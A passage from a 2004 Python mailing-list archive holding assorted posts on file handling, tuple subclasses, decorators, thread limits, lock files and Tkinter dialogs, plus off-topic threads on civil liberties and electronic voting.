the starting line position.  Then iterate backwards
through the positions, seek to it and read a line.

def find_offsets(infile):
     offsets = []
     offset = 0
     for line in infile:
         offsets.append(offset)
         offset += len(line)
     return offsets

def iter_backwards(infile):
     # make sure it's seekable and at the start
     infile.seek(0)
     offsets = find_offsets(infile)
     for offset in offsets[::-1]:
         infile.seek(offset)
         yield infile.readline()

for line in iter_backwards(open("spam.py")):
     print repr(line)

This won't work on MS Windows because of the
'\r\n' -> '\n' conversion.  You would instead
need something like

def find_offsets(infile):
     offsets = []
     while 1:
         offset = infile.tell()
         if not infile.readline():
             break
         offsets.append(offset)
     return offsets


Just submitted this solution to the cookbook.

				Andrew
				dalke at dalkescientific.com


From gumuz at NO_looze_SPAM.net  Fri Sep 24 07:12:37 2004
From: gumuz at NO_looze_SPAM.net (Guyon Morée)
Date: Fri, 24 Sep 2004 13:12:37 +0200
Subject: file read, binary or text mode
Message-ID: <41540121$0$3891$4d4ebb8e@news.nl.uu.net>

what is the difference?

if I open a text file in binary (rb) mode, it doesn't matter... the read()
output is the same.





From jmfbahciv at aol.com  Fri Sep 10 08:39:57 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Fri, 10 Sep 04 12:39:57 GMT
Subject: Xah Lee's Unixism
References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<10k1a13rnpc2p94@corp.supernews.com>
Message-ID: <4141b3bc$0$6910$61fed72c@news.rcn.com>

In article <10k1a13rnpc2p94 at corp.supernews.com>,
   Jeff Shannon <jeff at ccvcorp.com> wrote:
>jmfbahciv at aol.com wrote:
>
>>In article <10juvnrt88k4868 at corp.supernews.com>,
>>   Jeff Shannon <jeff at ccvcorp.com> wrote:
>>  
>>
>>>
>>>Here there's a lot of room to disagree -- it's a tragedy when U.S. 
>>>citizens are killed, but it's an even greater tragedy when the entirety 
>>>of the U.S. loses its freedoms in the name of "security".
>>>    
>>>
>>
>>Okay, that's it!  Tell me what freedoms you have lost.  Be specific.
>>No sound bytes and no rhetoric parroting allowed.
>>
>>I really want to know.  People keep saying this but never say which
>>freedoms have been lost.
>>  
>>
>
>I've lost the freedom to read whatever books I want, without the 
>government snooping over my shoulder. 

You lost that before 9/11; its cause was tranferrring library
catalogs and book tracking online.

>
>I've lost what little was left of the freedom to presume that the 
>government isn't listening to my phone calls and scanning my email.

This is not a freedom.
  
>(This particular freedom has been being eroded for decades, but the 
>Patriot Act is pretty much the final nail in the coffin.)

Are you kidding?  Did you live through the McCarthy and Hoover
eras?  Hoover as in FBI, not president.  AFAICT, this Patriot ACt
at least leaves a paper trail.

>
>I've lost the freedom from the assumption that, if I read certain books 
>and speak of believing in certain principles, I'm not necessarily going 
>to act in a criminal manner to further those principles.  (If I loudly 
>proclaim that the government is horribly wrong, and I also happen to buy 
>a copy of something like, say, The Anarchist's Cookbook... I'm now 
>liable to be perceived by the government as a terrorist, and thus be 
>subject to arrest and imprisonment with no charges being filed and no 
>access to legal recourse. 

How did you get this conclusion?  Has a US citizen bought the book,
only yakked about it and then was arrested and imprisoned
with no trail or arraignment?


> .. It doesn't matter whether the government can 
>*prove* that I planned anything, or even if I can prove that I have no 
>such plans -- there's no opportunity for me to offer or dispute evidence.)
>
>I have a good friend who's a (European) immigrant.  It is now legal for 
>the government to detain her for any length of time they so desire, 
>without giving any reason more definite than "suspected involvement in 
>terrorism" -- and with *no* need to provide any evidence to back that 
>claim.  Whether it's been done or not is irrelevant -- she's very much 
>aware of the feeling that, despite the fact that she's been living and 
>working in the US for most of her adult life, the mere fact that she's 
>not "American" makes her immediately suspect, and potentially subject to 
>being "disappeared". 

People are not being made to disappear.  YOu do know what that
term means?

> .. Trusting to the goodwill and honesty of the 
>government to *not* use its authority is, to say the least, not exactly 
>heartening.

You have been doing it all your life.
>
>Most importantly, I've lost the freedom to live my life *without* 
>feeling quite so much like Big Brother is just waiting for me to make a 
>mistake, so that the rest of the US can be "saved" from terrorism.

Now I know you didn't live through the Nam war.

>
>(I've said my piece, but I don't expect we're likely to ever reach an 
>agreement.  So, especially considering that I don't feel that 
>comp.lang.* is really an appropriate place for political discussion, I 
>won't be commenting further in this subthread.)

This is not a political discussion.  

/BAH

Subtract a hundred and four for e-mail.


From ville at spammers.com  Sun Sep 26 16:36:07 2004
From: ville at spammers.com (Ville Vainio)
Date: 26 Sep 2004 23:36:07 +0300
Subject: [OT] "Pre-announcement" of Python-based
	"computing	appliance"project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<89adnWTWC6JVscncRVn-uw@giganews.com>
	<enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com>
	<du7d60bbhah.fsf@amadeus.cc.tut.fi>
	<10l90qcihqrjba1@corp.supernews.com>
	<du78yayby1a.fsf@mozart.cc.tut.fi> <cj4ul0$nt5$1@sea.gmane.org>
	<mailman.3916.1096160356.5135.python-list@python.org>
Message-ID: <du7u0tk4vk8.fsf@mozart.cc.tut.fi>

>>>>> "Stephen" == Stephen Waterbury <golux at comcast.net> writes:

    >>> A thing like "probability" just can't exist in the ultimate Reality.

    Stephen> What makes you so sure that "ultimate Reality" is a well-formed
    Stephen> (logically consistent) concept?  QM may be the ultimate framework

I have yet to see nothing indicating the opposite. Even the logical
inconsistence would have something behind it, directing the process.

    Stephen> for an observer/observable-based theory of physics, and
    Stephen> since the observer/observable paradigm is fundamental to
    Stephen> science, it might be "as good as it gets", in which case
    Stephen> an "ultimate reality" that is meaningful in the context
    Stephen> of the scientific method might well require probability.

"Ultimate reality" whose meaning is limited by the context of
scientific method isn't all that "ultimate", is it? ;-)

    Stephen> Of course, if you want to transcend observer/observable,
    Stephen> you have to go beyond science, and into the realm of
    Stephen> "Cosmajoonity" (see Freeman Dyson's delightful book
    Stephen> "Disturbing the Universe" :).

Going beyond science is exactly what I'm after when talking about
ultimate reality - it's mostly a "religious" concept, more relevant to
a mystic having a yogic peak experience than a scientist. Still, I'm
delighted to see anti-deterministic theories being debunked also in
the scientific circles.

Scientists are perhaps a bit too eager to think that they are
beginning to understand ultimate reality when they just have some new
theories that support their empiric data.

BTW, congratulations on being the first one to use the word
"Cosmajoonity" on the internet, according to google at least :-).

-- 
Ville Vainio   http://tinyurl.com/2prnb


From anthonybaxter at gmail.com  Wed Sep  1 11:14:56 2004
From: anthonybaxter at gmail.com (Anthony Baxter)
Date: Thu, 2 Sep 2004 01:14:56 +1000
Subject: initializing mutable class attributes
In-Reply-To: <iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
	<iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
Message-ID: <e69d3ed20409010814759e3b5d@mail.gmail.com>

On Wed, 01 Sep 2004 14:54:06 GMT, Dan Perl <dperl at rogers.com> wrote:
> Not in Python.  A user of my library has to invoke the parent's class
> __init__ in their own __init__.  What happens if, in a future release, I get
> rid of the __init__ in the parent class?  Or the other way around.  An early
> release does not have a parent __init__, the users don't invoke it because
> they can't, and then, in a future release, I add the parent __init__ because
> I added some attributes.  It breaks all the users' code.  This is poor
> encapsulation.

Use 'super()', in that case.

http://www.python.org/dev/doc/devel/lib/built-in-funcs.html#l2h-70


From jeff at ccvcorp.com  Thu Sep  9 15:35:39 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Thu, 09 Sep 2004 12:35:39 -0700
Subject: Variable passing between modules.
In-Reply-To: <41408fd3$1@pfaff2.ethz.ch>
References: <mailman.3094.1094735599.5135.python-list@python.org>
	<41408fd3$1@pfaff2.ethz.ch>
Message-ID: <10k1c22n3k07pbb@corp.supernews.com>

Josef Meile wrote:

> Golawala, Moiz M (GE Infrastructure) wrote:
>
>> The example that I provided was very simplistic. I have a tones of 
>> methods in module 2 and the method need to get executed and need the 
>> someVar value.
>> I was thinking like setting up some a value in some global VM list 
>> which can be accessed by all modules.
>
>
> You could do this:
>
> module1:
>
> varDict={}
> varDict['foo1']='hello'
> varDict['foo2']='world'
>
> module2:
>
> from module1 import varDict
>
> print varDict.get('foo1')
> print varDict.get('foo2')


But if you need to import module2 in module1, you'll have problems with 
circular imports.  (Using 'from module import name' doesn't prevent 
Python from needing to process the entire module; it just means that 
only 'name', and not 'module', is added to your namespace.)

If you really need a big set of global variables (a practice which, in 
general, I'd recommend avoiding), then at very least you should create a 
globals.py module which contains nothing but these  variables.  Other 
modules can then 'import globals; print globals.myvar' or whatever.  
This is, at least, cleaner than C globals, since it can also be viewed 
as establishing a configuration object which passively maintains 
application state (and which just happens to be an instance of ModuleType).

Jeff Shannon
Technician/Programmer
Credit International



From godoy at ieee.org  Thu Sep 16 22:49:24 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Thu, 16 Sep 2004 23:49:24 -0300
Subject: Economic considerations
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us>
Message-ID: <m3acvp38zv.fsf@g2ctech.com>

claird at lairds.us (Cameron Laird) writes:

> Incidentally, my expert sources emphasize to me that GIMP still
> has a long way to go before it effectively rivals Photoshop.

I've been told that too.  Maybe because I'm not into the graphics area I
think it works pretty well :-)  There are other tools such as SodiPodi,
too...

In fact, we might already have tools to do everything Photoshop does.
The difference is that we try to keep it simple (KISS) and bundle
several specialized tools, while Photoshop tries to be a swiss army
knife, bundling everything together.

I'm hearing more the FUD of "I want to use Linux but then I have to use
one thousand commands and programs to get the same results I get with
<proprietary program> on <proprietary OS>". 



-- 
Godoy.     <godoy at ieee.org>


From daniel.dittmar at sap.corp  Wed Sep 29 06:59:09 2004
From: daniel.dittmar at sap.corp (Daniel Dittmar)
Date: Wed, 29 Sep 2004 12:59:09 +0200
Subject: (no subject)
In-Reply-To: <mailman.4066.1096450964.5135.python-list@python.org>
References: <mailman.4066.1096450964.5135.python-list@python.org>
Message-ID: <415A957D.7010901@sap.corp>

Max Russell wrote:
> Is this the wrong list for tutorials? If so can
> someone point me at the correct one so Ic an subscribe
> to that instead?

tutor at python.org: (http://mail.python.org/mailman/listinfo/tutor)

A moderate-volume mailing list for folks who want to ask questions while 
learning computer programming with Python.

But people on this mailing list / newsgroup are generally helpful as 
well, even to starters.

And you're probably also interested in http://www.python.org/topics/learn/

Daniel


From aleaxit at yahoo.com  Sat Sep  4 09:58:08 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 4 Sep 2004 15:58:08 +0200
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<mailman.2863.1094297233.5135.python-list@python.org>
Message-ID: <1gjlif4.km81clrhaw5vN%aleaxit@yahoo.com>

Andrew Durdin <adurdin at gmail.com> wrote:
   ...
> > and time now return, may be a different issue.  Not sure why we never
> > made declaring such pseudotuples as usertypes as easy as it should be, a
> > custom metaclass in some stdlib module shd be enough.  But tuples whose
   ...
> Such "pseudotuples" are easy enough to implement. Since I'm not all
> that crash hot with metaclasses, I just made a tuple subclass (see
> below). Would a metaclass implementation offer any significant
> benefits over a subclass?

I think of a tuple with a given sequence of names for its fields as a
type (a subclass of tuple, sure).  For example, the name->index
correspondence for all the pseudotuples-with-9-items returned by module
time is just the same one -- why would I want to carry around that
dictionary for each INSTANCE of a time-pseudotuple, rather than having
it once and for all in the type?  So I'd have, say:

example_type = tuple_with_names('foo', 'bar', 'baz')
assert issubclass(example_type, tuple)

and then I could make as many instances of this subclass of tuple as
needed, with a call like either example_type(1,2,3) or
example_type(baz=3,foo=1,bar=2) [the first form would accept 3
positional arguments, the second one 3 named arguments -- they're all
needed of course, but passing them as named will often result in clearer
and more readable application-level code].

You prefer to specify the names every time you make an instance and
build and carry the needed name->index dict along with each instance.
Ah well, I guess that's OK, but I don't really see the advantage
compared to the custom-metaclass approach.

> (Submitted to the Cookbook: recipe #303439)

Great, thanks -- I should get the snapshot tomorrow (or whenever they do
start working again over in Vancouver, since I get it from
ActiveState:-) and I'll be happy to consider presenting your approach
(and a custom metaclass for contrast;-).


Alex


From adurdin at gmail.com  Thu Sep  2 01:23:31 2004
From: adurdin at gmail.com (Andrew Durdin)
Date: Thu, 2 Sep 2004 15:23:31 +1000
Subject: age of Python programmers
In-Reply-To: <822221bb04090109167035d328@mail.gmail.com>
References: <mailman.1859.1092833285.5135.python-list@python.org>
	<889cbba0.0408181206.1812881c@posting.google.com>
	<mailman.1900.1092860258.5135.python-list@python.org>
	<Xns954A5141FF84JanC@213.118.38.197>
	<d8778a53.0408311322.9ad0233@posting.google.com>
	<6amZc.17353$ni.8118@okepread01>
	<822221bb04090109167035d328@mail.gmail.com>
Message-ID: <59e9fd3a040901222338f0a75c@mail.gmail.com>

There seem to be a lot of Pythoneers who started with BASIC -- I guess
that's what came with most "home computers" in those days. I started
at 8 with BASIC on an Amstrad CPC6128 (though I played games more than
I wrote programs :).


From bokr at oz.net  Thu Sep 23 15:53:37 2004
From: bokr at oz.net (Bengt Richter)
Date: 23 Sep 2004 19:53:37 GMT
Subject: Call for suggestions: Declaring data entry forms using Python
	classes
References: <mailman.3799.1095959172.5135.python-list@python.org>
Message-ID: <civ9k1$thb$0$216.39.172.122@theriver.com>

On Thu, 23 Sep 2004 13:36:19 -0300, Carlos Ribeiro <carribeiro at gmail.com> wrote:

>Hello all,
>
>I'm posting this to the list with the intention to form a group of
>people interested in this type of solution. I'm not going to spam the
>list with it, unless for occasional and relevant announcements. If
>you're interested, drop me a note. But if for some reason you think
>that this discussion is fine here at the c.l.py, please let me know.
>
No comment for now other than suggesting replacing pass with def __repr__ in

    class Component(object):
        def __repr__(self): return '<Comp %r>' % type(self).__name__

for a more userfriendly printout. Interesting stuff. I wonder about
one-dimensional position vs composing with various top/left/right/bottom/fill
aggregation indicator info etc.

Also wonder if just plain defining your own python-inspired but not python-constrained
language for expressing what you want to express might not be a viable alternative,
given the nice tools for language processing that are part of the open python kit.

IOW, you are using python in a certain way in order to be able to "spell" your
form-descriptions in a certain way. How would you spell them if you were not
constrained by python syntax?

Regards,
Bengt Richter


From __peter__ at web.de  Thu Sep  2 07:02:00 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 02 Sep 2004 13:02:00 +0200
Subject: __doc__ of current function?
References: <62e3db01.0409012325.4d42bb45@posting.google.com>
	<mailman.2761.1094121651.5135.python-list@python.org>
Message-ID: <ch6uj8$t68$00$1@news.t-online.com>

Ksenia Marasanova wrote:

>>
>> ... can I write a general docOfCurrentFunction() function so that I
>> can rewrite it:
>>
>> def validatePassword(p):
>>    'do something'
>>    print docOfCurrentFunction()
>>
> 
> def docOfCurrentFunction():
>      import sys
>      func_name = sys._getframe(1).f_code.co_name
>      return eval(func_name + '.__doc__')
> 
> But I hope that a more intelligent way exists than using 'eval' :)

Maybe

>>> import sys
>>> def caller():
...     f = sys._getframe(1)
...     return f.f_globals[f.f_code.co_name]
...
>>> def demo():
...     "Demo docstring"
...     print caller().__doc__
...
>>> demo()
Demo docstring
>>>

Or can that fail in some cases?

Peter



From kangell at alertra.com  Wed Sep 29 11:26:43 2004
From: kangell at alertra.com (Kirby Angell)
Date: Wed, 29 Sep 2004 10:26:43 -0500
Subject: Maximum number of threads
In-Reply-To: <415abdaa$1_1@omega.dimensional.com>
References: <xbt6d.2829$gm.1283@okepread07>
	<415abdaa$1_1@omega.dimensional.com>
Message-ID: <FuA6d.2832$gm.1483@okepread07>

Michael Fuhr wrote:
> What happens when you hit this "hard limit"?  If there's an error
> message then it might hint at the problem.

If I run this program:

import thread, time

def t(parm1,parm2):
	time.sleep( 1000 )

tc = 0
try:
	while 1:
		thread.start_new_thread( t, (None,None) )
		tc += 1
		time.sleep( 0.05 )
finally:
	print tc


This is the result:
$ python t.py
404
Traceback (most recent call last):
   File "t.py", line 12, in ?
     thread.start_new_thread( t, (None,None) )
thread.error: can't start new thread

> I'm not current on Linux threading models -- do these versions of
> Linux create a new process for each thread?  If so, could resource
> limits be preventing you from creating more threads?

I don't think Linux creates a new process for each thread.  Sure seems 
like this would have to be something related to python since 2.2 could 
create a thousand or more threads.  Although I have to admit that it is 
odd that the maximum number of threads I can create on RH9 is different 
than on FC2.


From brenNOSPAMbarn at NObrenSPAMbarn.net  Sun Sep 26 01:35:03 2004
From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke))
Date: 26 Sep 2004 05:35:03 GMT
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org>
	<2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
	<18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
	<864d370904092515311da67bb6@mail.gmail.com>
	<mailman.3917.1096163923.5135.python-list@python.org>
	<Xns956FC698DBC7DOKB@130.133.1.4>
	<cj5fpt$cla$0$216.39.172.122@theriver.com>
Message-ID: <Xns956FE5B57B217OKB@130.133.1.4>

Bengt Richter wrote:

> myFrame = (
>   Frame(
>     Sizer(
>       CustButton(size= ... etc),
>       CustButton(size= ... etc),
>       Panel(
>         Sizer(
>           CustListBox(etc),
>           CustListBox(etc),
>           CustButton(etc),
>           Text( etc )
>         )
>       )
>     )
>   )
> )

    	One problem with this is that it's not possible to define methods 
on your widgets in this kind of structure.

>>If Python's syntax were more flexible, this could perhaps be done
>>in other ways -- I'm not saying I want that -- but as it is the
>>only real way to construct nested structures in Python is with
>>class definitions. 
> You don't mean that ("...only real way...") as broadly as it
> sounds, do you? 

    	Sorry, you're right.  Obviously dictionaries and lists can be 
nested.  A key point, though, is the one I mentioned above: classes are 
the only structure which allow you define nested structures with 
arbitrary in-line code.  The "in-line" proviso there may seem obtuse, 
but I think it's important.  For instance, if you define a button, you 
should be able to define the event handler for a click on that button 
right there, as part of writing the button code.  Having to separate the 
event-handling code out into a separate routine leads to 
spaghettification, and also introduces a bunch of naming problems (you 
need to have a consistent naming convention that links a widget to its 
event handler).

    	(Also, just for the record: I know you can nest function 
definitions in other functions, but this isn't useful here because 
there's no way to access the nested function definition from outside the 
enclosing function, whereas you can reference nested classes with normal 
attribute access.)

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From zanesdad at bellsouth.net  Thu Sep 30 11:31:32 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Thu, 30 Sep 2004 11:31:32 -0400
Subject: multiple instance on Unix
In-Reply-To: <415c212d$0$10209$a1866201@newsreader.visi.com>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>	<415AF802.1080909@bellsouth.net>	<D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>	<mailman.4130.1096547595.5135.python-list@python.org>	<415C05E5.5040108@hotmail.com>	<mailman.4136.1096553883.5135.python-list@python.org>
	<415c212d$0$10209$a1866201@newsreader.visi.com>
Message-ID: <415C26D4.5080707@bellsouth.net>

Grant Edwards wrote:

>On 2004-09-30, Nigel King <nigel.king at orthogonsystems.com> wrote:
>  
>
>>On 30 Sep 2004, at 14:11, C Ginger wrote:
>>
>>    
>>
>>>I know the approach to creating a lock file has been around a
>>>long time but there are certain weaknesses to it. There are a
>>>number of race conditions in it. For instance if process A
>>>detects the directory isn't there it will attempt to create
>>>it. During that same time process B might also not find it
>>>there - since A hasn't completed its create yet.
>>>      
>>>
>>This was why I created a directory rather than a file since I
>>thought this was supposed to be atomic.
>>    
>>
>
>AFAIK, creating a file is atomic as well. It's the approach
>that's been used by Unix applications for the past 30 years, so
>if it wasn't atomic, I would think somebody else would have
>noticed the problem and switched to using a lock directory
>before now.
>
>  
>
Right.  But I think the OP's point was that os.mkdir() raises an 
exception if a directory already exists, so you can wrap that in a while 
loop and just keep doing

try:
    os.mkdir('/foo')
except OSError:
    time.sleep(1)
#do stuff
os.rmdir()


and once you get in the #do stuff section, you know you have an 
exclusive lock.  Until this posting, I didn't know that:

os.open('f.txt', os.O_CREAT, os.O_EXCL)

would basically do the same thing.


Jeremy Jones
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040930/5cdfdb1f/attachment.html>

From fredrik at pythonware.com  Sun Sep 19 05:37:54 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 19 Sep 2004 11:37:54 +0200
Subject: Interactive Console for Win32 Application
References: <b2f253f2.0409190107.5cf26dd9@posting.google.com>
Message-ID: <cijjtr$1hv$1@sea.gmane.org>

Devrim Erdem wrote:

> I am on win32 with python2.2.
>
> My python added C++ app is an OpenGL application so there is no real
> GUI code around it. I have built in the python interpreter which works
> very great. I would like to have the opportunity to popup a console
> from my application which has access to the python module which is
> defined and instantiated in my application.
>
> If I had the time, I would implement a Quake like console. To save
> time, I wanted to check if there is already a way of doing this on
> Windows.

I'll leave it to you to write the code that reads a line from the user, but
once you have that in place, the "code" module provides the rest:

    http://www.python.org/doc/current/lib/module-code.html

outline:

    console = code.InteractiveConsole()

    myconsole = DisplayMyConsole(callback=console.push)
    sys.stdout = myconsole.get_output_handler(WHITE)
    sys.stderr = myconsole.get_output_handler(RED)
    myconsole.enter_event_loop()

(where the callback argument is called whenever the user enters a new
line, and get_output_handler returns a file-like object that prints to the
console window (it must implement a "write" method, but that's about
it).

</F> 





From aleaxit at yahoo.com  Mon Sep  6 03:24:05 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 09:24:05 +0200
Subject: Inline Conditionals?
References: <mailman.2307.1093385983.5135.python-list@python.org>
	<jt6dnb18R-cz6LDcRVn-jQ@powergate.ca>
	<1gj4rpq.1oyt89b14xvbdqN%aleaxit@yahoo.com>
	<slrncirqvf.jf.apardon@trout.vub.ac.be>
	<1gj5bit.rt2tmzcznspxN%aleaxit@yahoo.com>
	<7xbrgxobts.fsf@ruckus.brouhaha.com>
	<1gj5eu6.11pmwsddky84nN%aleaxit@yahoo.com>
	<chfg9e$121$4@wheel2.two14.net>
Message-ID: <1gjopop.1qle37n1utd7prN%aleaxit@yahoo.com>

Martin Maney <maney at pobox.com> wrote:

> Alex Martelli <aleaxit at yahoo.com> wrote:
> > Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
> >> more readable and harder to get wrong, unlike your sparse example,
> >> which has 'foo' on both branches of the conditional where you meant
> >> 'foo' and 'bar'.
> 
> > ....as several people already noticed, proving the great readability of
> > the sparse way of expressing oneself...
> 
> Amazing.  If a typo slips into something you dislike then you cite that
> as proof of how bad it is.  When it happens to you while showing off
> your preferred form, it becomes, by prestidigitation, proof of how good
> that is.  Clearly this is determined by nothing at all like logic.

It's not the typo that "becomes proof" (or, rather, indication) of the
higher readability of sparse expression: it's the fact that so many
readers noticed it and let me know, privately or publically.  Why do you
think it's illogical to observe that?  Typos and other errors are easier
to see when they're part of very readable code than when they're part of
dense, obfuscated code -- seems perfectly logical to me.

Anything that requires the same name (or whatever) to be entered more
than once can be subject to more typos than a form in which you enter
the information only once -- ameliorating which is a better chance for a
human reader to catch a typo due to the redundancy (while if the info is
entered only once there is no such redundancy and any catch needs to be
based on deeper understanding).  This might be relevant, say, when
discussing <name> += <value> vs <name> = <name> + <value> -- when <name>
is sufficiently complicated the second form may have such issues which
the first one avoids, and there's no real chance of introducing a short,
simple temporary name to ameliorate things.  This is not quite germane
to the discussion at hand, though.


Alex


From python at rcn.com  Thu Sep  9 04:16:09 2004
From: python at rcn.com (Raymond Hettinger)
Date: 9 Sep 2004 01:16:09 -0700
Subject: Decorator for Binding Globals into Constants
Message-ID: <5d83790c.0409090016.54d50591@posting.google.com>

FWIW, I've recast the constant binding recipe into decorator form:

    http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/277940

Now, optimizing global access is as easy as attaching a decorator.

If you used to write:

    def myfunc(data, _len=len):
       . . .

You can now write:

    @bind_constants()
    def myfunc(data):
       . . .

Any references to len() or other globals will be made local.  This can
optimize module globals and recursive functions as well.  It also
works on methods defined in class definition blocks.

Enjoy,


Raymond Hettinger


P.S.  When writing @bind_constants(), be sure to include the
parentheses.  There's a big difference between decorators that take
arguments and those that don't.  This one does.


From elainejackson7355 at home.com  Fri Sep 17 05:19:26 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 17 Sep 2004 09:19:26 GMT
Subject: dummy tk windows
References: <gEk2d.25744$%S.13058@pd7tw2no>
	<pan.2004.09.17.04.39.08.814115@adelphia.net>
Message-ID: <y_x2d.32754$%S.793@pd7tw2no>

"Paul Miller" <pwmiller1 at adelphia.net> wrote in message
news:pan.2004.09.17.04.39.08.814115 at adelphia.net...
<snip> HTH

It did. Thank you. I made a wrapper for this stuff that I'll include here for
the benefit of anyone who may be following the discussion from the sidelines.

Peace

def dialog(className):
    from Tkinter import Tk
    from tkFileDialog import Open,SaveAs,Directory
    Tk().withdraw()
    name = eval(className)().show()
    if className=='Directory': return name
    mode = (className=='Open' and 'r') or (className=='SaveAs' and 'w')
    return file(name,mode)




From usenet_spam at janc.invalid  Mon Sep 13 23:42:33 2004
From: usenet_spam at janc.invalid (JanC)
Date: Tue, 14 Sep 2004 03:42:33 GMT
Subject: Electronic voting feasibility
References: <mailman.3140.1094820652.5135.python-list@python.org>
	<otKdnctyIcclNtzcRVn-gg@giganews.com>
	<28KdnThSO7DtM9zcRVn-pQ@powergate.ca>
	<8PWdnfxkGeIFWNzcRVn-qQ@giganews.com>
	<K9ydnRpo-6dZVdzcRVn-vw@powergate.ca>
	<JtmdnS-gR__-U9zcRVn-iQ@giganews.com>
	<_4KdnfDylt2TSdzcRVn-pg@powergate.ca>
Message-ID: <Xns95643A12D5B1BJanC@213.118.38.197>

Peter Hansen schreef:

> Istvan Albert wrote:
> 
>> Looking at what they claim, that in 2003 they discovered a back door
>> affecting every evoting machine, a backdoor that requires
>> a 2 digit code to overwrite the votes stored in the system,
>> moreover even a year later every system has this same flaw...
>> 
>> I don't find this credible, ...
> 
> Maybe, but I've found other articles that said that the Diebold
> machines *all* had a hardcoded password of "1111" at one point...
> not a stretch to think they also had a simplistic backdoor like that.
> 
> The president of the company says they "are not incompetent", so
> we might as well believe him, though, and not Bev Harris. ;-)

They are very competent security gurus:
<http://www.theregister.co.uk/2003/11/25/nachi_worm_infected_diebold_atms/>

  ;-)

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From rnichol_rrc at yahoo.com  Fri Sep 10 16:51:33 2004
From: rnichol_rrc at yahoo.com (Reid Nichol)
Date: Fri, 10 Sep 2004 15:51:33 -0500
Subject: python and bit shifts and byte order, oh my!
In-Reply-To: <cht24b$6m1$1@news.service.uci.edu>
References: <9490d.126$KA1.1800@news1.mts.net>	<chrogi$gmk$1@news1.wdf.sap-ag.de>
	<sWk0d.3$Uo1.23@news1.mts.net>	<4141e6f2$0$67058$a1866201@newsreader.visi.com>	<P0n0d.62$Uo1.261@news1.mts.net>
	<mailman.3169.1094844046.5135.python-list@python.org>
	<txn0d.67$Uo1.323@news1.mts.net>
	<cht24b$6m1$1@news.service.uci.edu>
Message-ID: <nso0d.77$Uo1.255@news1.mts.net>

Jason Lai wrote:
> If efficiency isn't important, you could forget about the whole 
> byte-order thing and just read/write it byte-by-byte. Then you can think 
> of the file as a bit-stream (everything gets written in order and read 
> back in order), although you still have to read/write a whole 8-bit byte 
> at a time.
> 
>  - Jason Lai

Since the format can have:
5bit
24bit
24bit

I assumed that I would have to write byte by byte.  And I don't really 
consider speed important so I think that it's viable to do it this way.

@Grant
This is what I meant.


From joewong at mango.cc  Thu Sep 23 04:58:16 2004
From: joewong at mango.cc (Joe Wong)
Date: Thu, 23 Sep 2004 16:58:16 +0800
Subject: Access to MS SQL from Linux?
References: <F1921F85572CB04D9F55B14BDC76B3E4434AA8@iron.ima.umn.edu>
Message-ID: <002501c4a14b$77fe4c30$7f00a8c0@scl01.siliconcreation.com>

Hi Tim,

 Thanks for the pointer, I just tried freetds with sybase python, I can use
tsql to connect to MS SQL but the python library failed
:

Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443

I am using MSSQL 2000 server, is this a problem?

Thanks!

- Joe

